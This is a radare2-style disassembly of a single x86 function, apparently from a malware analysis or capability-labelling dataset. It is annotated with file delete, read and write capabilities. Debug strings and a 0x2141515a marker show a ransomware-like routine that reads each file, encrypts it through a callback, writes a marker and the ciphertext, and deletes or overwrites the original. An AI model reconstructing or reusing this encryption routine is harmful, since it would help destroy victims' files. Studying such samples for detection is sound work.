Function at 0x44e4b0
Capabilities:
Delete file
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, edx
xorps xmm0, xmm0
push esi
push edi
mov esi, ecx
movlpd qword [esp + 0x20], xmm0
cmp dword [ebx + 0x14], 0
jne 0x44e4ef
sub esp, 0xc
lea eax, [ebx + 8]
mov ecx, esp
push eax
call fcn.0044fd90
mov ecx, esi
call fcn.0044dca0
add esp, 0xc
test eax, eax
je 0x44e8dc
mov edx, str.___EncryptCallBack_Handling_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, esi
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
test byte [ebx], 5
je 0x44e520
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebx], 1
jne 0x44e530
xor edx, edx
mov ecx, esi
call fcn.0044dba0
jmp 0x44e549
push 0
push 0x80
push 3
push 0
push 1
push 0x12019f
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x44e89f
cmp edi, 0xffffffff
je 0x44e89f
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [esp + 0xc], eax
cmp eax, 4
jb 0x44e8dc
push eax
call fcn.005addc1
add esp, 4
mov dword [esp + 0x18], eax
test byte [ebx], 1
push 0
je 0x44e5a3
push 0
push dword [esp + 0x14]
push eax
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
push edi
call fcn.00458a6d
add esp, 0x24
jmp 0x44e5d7
lea ecx, [esp + 0x18]
push ecx
push dword [esp + 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, str.___ReadFile_size_:
mov ecx, 0x669bb0
call fcn.00452190
push dword [esp + 0x14]
mov ecx, eax
call fcn.0044f9b0
push eax
call fcn.00452430
add esp, 4
mov edx, str.___OpenFile_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, esi
mov ecx, eax
call fcn.00452190
mov edx, str._File_Size_:
mov ecx, eax
call fcn.004524d0
push dword [esp + 0xc]
mov ecx, eax
call fcn.0044f9b0
push eax
call fcn.00452430
mov eax, dword [esp + 0x1c]
add esp, 4
cmp dword [eax], 0x2141515a
je 0x44e8dc
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [ebp + 8]
add esp, 8
mov dword [esp + 0x14], eax
mov edx, str.___EncryptBlock_Size_:
mov ecx, 0x669bb0
call fcn.00452190
push dword [esp + 0xc]
mov ecx, eax
call fcn.0044f9b0
push eax
call fcn.00452430
add esp, 4
mov dword [esp + 0x10], 0x2141515a
cmp dword [ebx + 4], 3
jne 0x44e715
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, str.___ACTION_WRITE_NEW_FILE_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, esi
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test byte [ebx], 1
je 0x44e6ab
mov edx, 1
mov ecx, esi
call fcn.0044dba0
mov edx, str.___SyscallOpenFile_ACTION_WRITE_NEW_FILE_HANDLE_:
jmp 0x44e6c9
push 0
push 0x80
push 1
push 0
push 1
push 0x12019f
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edx, str.___NormalOpenFile_ACTION_WRITE_NEW_FILE_HANDLE_:
mov ecx, 0x669bb0
mov edi, eax
call fcn.00452190
push edi
mov ecx, dword [eax]
mov edx, dword [ecx + 4]
mov ecx, dword [edx + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [edx + eax + 0x14], ecx
mov ecx, eax
call fcn.0044f7e0
mov edx, str._LastError__:
mov ecx, eax
call fcn.004524d0
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
mov ecx, esi
call fcn.0044f9b0
jmp 0x44e72d
mov edx, str.___ACTION_WRITE_SOURCE_FILE_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, esi
mov ecx, eax
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
test byte [ebx], 1
push 0
je 0x44e7d5
push 0
push 4
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x30]
push eax
push 0
push 0
push 0
push edi
call fcn.00458a63
mov ebx, dword [esp + 0x38]
lea eax, [esp + 0x44]
add esp, 0x24
push 0
push 0
push dword [esp + 0x14]
push ebx
push eax
push 0
push 0
push 0
push edi
call fcn.00458a63
add esp, 0x24
mov edx, str.___ACTION_WRITE_NEW_FILE_SYSCALL_API_WRITE_FILE_Size:
mov ecx, 0x669bb0
call fcn.00452190
push dword [esp + 0xc]
mov ecx, eax
call fcn.0044f9b0
mov edx, str._Handle:
mov ecx, eax
call fcn.00452190
push edi
mov ecx, dword [eax]
mov esi, dword [ecx + 4]
mov ecx, dword [esi + eax + 0x14]
and ecx, 0xfffff9ff
or ecx, 0x800
mov dword [esi + eax + 0x14], ecx
mov ecx, eax
call fcn.0044f7e0
jmp 0x44e817
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x20]
push eax
push 4
lea eax, [esp + 0x1c]
push eax
push edi
call esi
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x1c]
push 0
push eax
push dword [esp + 0x14]
push ebx
push edi
call esi
mov edx, str.___ACTION_WRITE_NEW_FILE_NORMAL_API_WRITE_FILE_Size:
mov ecx, 0x669bb0
call fcn.00452190
push dword [esp + 0xc]
mov ecx, eax
call fcn.0044f9b0
mov edx, str._LastError__:
mov ecx, eax
call fcn.004524d0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0044f9b0
push eax
call fcn.00452430
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, str.___Close_hFileHandle_LastError__:
mov ecx, 0x669bb0
call fcn.00452190
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0044f9b0
push eax
call fcn.00452430
add esp, 4
push ebx
call fcn.005addca
add esp, 4
push dword [esp + 0x18]
call fcn.005addca
add esp, 4
mov edx, str.___FREE_BUFFER__EncryptBlock_Success..
mov ecx, 0x669bb0
call fcn.00452190
push eax
call fcn.00452430
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, str.___Cant_Open_File_:
mov ecx, 0x669bb0
call fcn.00452190
mov edx, esi
mov ecx, eax
call fcn.00452190
mov edx, str._LastError_:
mov ecx, eax
call fcn.00452190
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0044f9b0
push eax
call fcn.00452430
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret